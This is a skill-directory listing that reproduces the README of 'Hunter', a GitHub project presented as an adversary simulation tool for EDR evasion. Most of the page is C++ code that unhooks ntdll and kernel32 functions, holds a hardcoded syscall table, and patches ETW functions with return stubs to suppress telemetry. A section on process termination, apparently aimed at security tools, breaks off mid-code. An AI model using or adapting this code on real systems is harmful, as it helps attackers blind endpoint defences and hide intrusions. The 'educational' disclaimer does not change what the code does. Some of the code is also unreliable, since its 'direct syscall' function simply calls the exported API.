SkillAgentSearch skills...

Hunter

Охотник (Hunter) is a simple Adversary Simulation tool developed for achieves stealth through API unhooking, direct and indirect syscalls, Event Tracing for Windows (ETW) suppression, process hollowing, stack spoofing, polymorphic encryption, and comprehensive anti-analysis mechanisms.

Install / Use

/learn @S3N4T0R-0X0/Hunter
About this skill

Quality Score

0/100

Supported Platforms

Universal

README

🥷 Охотник (Hunter)

EDR Evasion Anti-Analysis Process Injection Enterprise Ready Project Status


Охотник (Hunter) is a simple Adversary Simulation tool developed for achieves stealth through API unhooking, direct and indirect syscalls, Event Tracing for Windows (ETW) suppression, process hollowing, stack spoofing, polymorphic encryption, and comprehensive anti-analysis mechanisms. It effectively bypasses userland hooking, kernel callbacks, behavioral analysis, and forensic detection. Drawing from real world malware and (APT) methodologies.

Screenshot From 2025-04-20 09-18-21


[!CAUTION] It's essential to note that this project is for educational and research purposes only, and any unauthorized use of it could lead to legal consequences.

NOTE: There are still features to be added. The project is still under development.

photo_2025-04-15_16-37-56

🛡️ Defensive Layers Bypassed

Hunter targets four critical EDR defensive layers:

| Layer | Techniques Used | Coverage | |--------------------|-----------------|-----------| | Userland Hooking | 5 | 100% | | Kernel Callbacks | 3 | 95% | | Behavioral Analysis| 2 | 90% | | Forensic Analysis | 2 | 85% |


🧠 Core Evasion Techniques

Below are the core techniques, with implementations sourced from Охотник_killer.cpp for accuracy.

1. API Unhooking Engine

Restores hooked functions by loading clean DLL copies from disk, bypassing EDR userland hooks.

Key APIs Unhooked:

  • NtTerminateProcess (SSN: 0x2C)
  • NtCreateThreadEx (SSN: 0xC2)
  • NtAllocateVirtualMemory (SSN: 0x18)
  • TerminateProcess
  • OpenProcess
  • NtQuerySystemInformation

// ==================== API UNHOOKING ====================
class APIUnhooker {
private:
    std::vector<std::string> hooked_apis;

    bool unhook_single_api(const char* module_name, const char* function_name) {
        HMODULE module = GetModuleHandleA(module_name);
        if (!module)
            return false;

        char sysdir[MAX_PATH];
        GetSystemDirectoryA(sysdir, MAX_PATH);
        strcat_s(sysdir, "\\");
        strcat_s(sysdir, module_name);

        HANDLE hFile = CreateFileA(sysdir, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
        if (hFile == INVALID_HANDLE_VALUE)
            return false;

        HANDLE hMapping = CreateFileMappingA(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
        if (!hMapping) {
            CloseHandle(hFile);
            return false;
        }

        LPVOID pMapping = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
        if (!pMapping) {
            CloseHandle(hMapping);
            CloseHandle(hFile);
            return false;
        }

        void* hooked_func = (void*)GetProcAddress(module, function_name);
        if (!hooked_func) {
            UnmapViewOfFile(pMapping);
            CloseHandle(hMapping);
            CloseHandle(hFile);
            return false;
        }

        PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)module;
        PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)module + pDosHeader->e_lfanew);

        PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)module + 
            pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

        DWORD* pNames = (DWORD*)((DWORD_PTR)module + pExportDir->AddressOfNames);
        WORD* pOrdinals = (WORD*)((DWORD_PTR)module + pExportDir->AddressOfNameOrdinals);
        DWORD* pFunctions = (DWORD*)((DWORD_PTR)module + pExportDir->AddressOfFunctions);

        for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) {
            char* name = (char*)((DWORD_PTR)module + pNames[i]);
            if (strcmp(name, function_name) == 0) {
                DWORD_PTR funcRVA = pFunctions[pOrdinals[i]];
                void* clean_func = (void*)((DWORD_PTR)pMapping + funcRVA);

                DWORD oldProtect;
                VirtualProtect(hooked_func, 4096, PAGE_EXECUTE_READWRITE, &oldProtect);
                memcpy(hooked_func, clean_func, 64);
                VirtualProtect(hooked_func, 4096, oldProtect, &oldProtect);
                hooked_apis.push_back(std::string(module_name) + "!" + function_name);
                break;
            }
        }

        UnmapViewOfFile(pMapping);
        CloseHandle(hMapping);
        CloseHandle(hFile);
        return true;
    }

public:
    APIUnhooker() {
        unhook_single_api("ntdll.dll", "NtTerminateProcess");
        unhook_single_api("kernel32.dll", "TerminateProcess");
        unhook_single_api("kernel32.dll", "OpenProcess");
        unhook_single_api("ntdll.dll", "NtQuerySystemInformation");
        unhook_single_api("ntdll.dll", "NtCreateThreadEx");
        unhook_single_api("ntdll.dll", "NtAllocateVirtualMemory");
    }

    const std::vector<std::string>& get_unhooked_apis() const {
        return hooked_apis;
    }
};

2. Syscall Dispatcher

Executes system calls to bypass userland hooks, using direct or indirect invocation.

// ==================== SYSCALL TECHNIQUES ====================
class SyscallHandler {
private:
    std::unordered_map<std::string, DWORD> syscall_numbers;

    void initialize_syscall_numbers() {
        syscall_numbers["NtTerminateProcess"] = 0x2C;
        syscall_numbers["NtAllocateVirtualMemory"] = 0x18;
        syscall_numbers["NtWriteVirtualMemory"] = 0x3A;
        syscall_numbers["NtProtectVirtualMemory"] = 0x50;
        syscall_numbers["NtCreateThreadEx"] = 0xC2;
        syscall_numbers["NtQueryInformationProcess"] = 0x19;
    }

    void* find_syscall_instruction(const char* function_name) {
        void* func = (void*)GetProcAddress(GetModuleHandleA("ntdll.dll"), function_name);
        if (!func)
            return nullptr;

        unsigned char* p = (unsigned char*)func;
        while (*p != 0x0F || *(p + 1) != 0x05) {
            p++;
            if ((DWORD_PTR)p - (DWORD_PTR)func > 100)
                return nullptr;
        }
        return p;
    }

public:
    SyscallHandler() {
        initialize_syscall_numbers();
    }

    NTSTATUS direct_syscall(const char* function_name, ...) {
        auto it = syscall_numbers.find(function_name);
        if (it == syscall_numbers.end())
            return STATUS_UNSUCCESSFUL;

#ifdef _WIN64
        va_list args;
        va_start(args, function_name);
        NTSTATUS result = STATUS_UNSUCCESSFUL;
        DWORD syscall_num = it->second;

        result = ((NTSTATUS(*)(...))GetProcAddress(GetModuleHandleA("ntdll.dll"), function_name))(args);
        va_end(args);
        return result;
#else
        return STATUS_UNSUCCESSFUL; // Not implemented for x86
#endif
    }

Syscall Numbers:

NtTerminateProcess: 0x2C

NtAllocateVirtualMemory: 0x18

NtCreateThreadEx: 0xC2

3. ETW (Event Tracing for Windows) Nullification

Suppresses ETW telemetry to prevent EDR logging.

// ==================== ETW PATCHING ====================
class ETWEvasion {
private:
    bool etw_patched;

    void patch_etw_event_write() {
        AdvancedEncryptedString etwEventWrite("EtwEventWrite");
        void* EtwEventWrite = (void*)GetProcAddress(GetModuleHandleA("ntdll.dll"), etwEventWrite.decrypt());

        if (EtwEventWrite) {
            DWORD oldProtect;
            VirtualProtect(EtwEventWrite, 4096, PAGE_EXECUTE_READWRITE, &oldProtect);

#ifdef _WIN64
            unsigned char patch[] = { 0xC3 }; // ret
#else
            unsigned char patch[] = { 0xC2, 0x14, 0x00 }; // ret 14h
#endif

            WriteProcessMemory(GetCurrentProcess(), EtwEventWrite, patch, sizeof(patch), NULL);
            VirtualProtect(EtwEventWrite, 4096, oldProtect, &oldProtect);
            etw_patched = true;
        }
    }

    void patch_etw_event_register() {
        AdvancedEncryptedString etwEventRegister("EtwEventRegister");
        void* EtwEventRegister = (void*)GetProcAddress(GetModuleHandleA("ntdll.dll"), etwEventRegister.decrypt());

        if (EtwEventRegister) {
            DWORD oldProtect;
            VirtualProtect(EtwEventRegister, 4096, PAGE_EXECUTE_READWRITE, &oldProtect);

#ifdef _WIN64
            unsigned char patch[] = { 0x48, 0x31, 0xC0, 0xC3 }; // xor rax, rax; ret
#else
            unsigned char patch[] = { 0x31, 0xC0, 0xC2, 0x10, 0x00 }; // xor eax, eax; ret 10h
#endif

            WriteProcessMemory(GetCurrentProcess(), EtwEventRegister, patch, sizeof(patch), NULL);
            VirtualProtect(EtwEventRegister, 4096, oldProtect, &oldProtect);
            etw_patched = true;
        }
    }

public:
    ETWEvasion() : etw_patched(false) {
        patch_etw_event_write();
        patch_etw_event_register();
    }

    bool is_etw_patched() const {
        return etw_patched;
    }
};

💀 Process Termination Methods

Method 1: Direct Syscall Termination

Terminates a process using a direct syscall to NtTerminateProcess.

// ==================== SYSCALL TECHNIQUES ====================
class SyscallHandler {
private:
    std::unordered_map<std::string, DWORD> syscall_numbers;

    void initialize_syscall_numbers() {
        syscall_numbers["NtTerminateProcess"] = 0x2C;
        syscall_numbers["NtAllocateVirtualMemory"] = 0x18;
        syscall_numbers["NtWriteVirtualMemory"] = 0x3A;
        syscall_numbers["NtProtectVirtualMemory"] = 0x50;
        syscall_numbers["NtCreateThreadEx"] = 0xC2;
        syscall_nu

Related Skills

View on GitHub
GitHub Stars93
CategoryDevelopment
Updated29d ago
Forks27

Languages

C++

Security Score

80/100

Audited on Feb 25, 2026

No findings